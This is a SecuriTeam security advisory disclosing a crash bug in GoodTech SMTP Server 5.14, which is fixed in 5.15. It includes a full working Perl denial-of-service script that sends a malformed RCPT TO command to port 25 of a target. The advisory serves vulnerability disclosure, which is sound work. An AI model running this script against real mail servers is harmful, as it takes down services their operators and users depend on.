The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
GoodTech SMTP Server DoS
------------------------------------------------------------------------
SUMMARY
" <http://www.goodtechsys.com/> The product provides Simple Mail Transfer
Protocol (SMTP) to any email client out of the box. It forwards email
messages directly to their recipients. GoodTech SMTP server runs as a
service on the host Windows machine."
Lack of proper filtering allows attackers to crash the GoodTech SMTP
Server by sending it malformed SMTP data.
DETAILS
Vulnerable Systems:
* GoodTech SMTP Server version 5.14
Immune Systems:
* GoodTech SMTP Server version 5.15
Issuing a single character 'A' as an argument to the RCTP TO command will
cause the STMPd process to crash.
Exploit:
#=== Start GoodTechSMTPServer_DOS.pl ===
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
# GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
##############################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => "TCP"))
{
print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";
sleep(1);
print $socket "HELO moto.com\r\n";
sleep(1);
print $socket "RCPT TO: A\r\n";
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:25\n";
}
#=== End GoodTechSMTPServer_DOS.pl ===
ADDITIONAL INFORMATION
The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
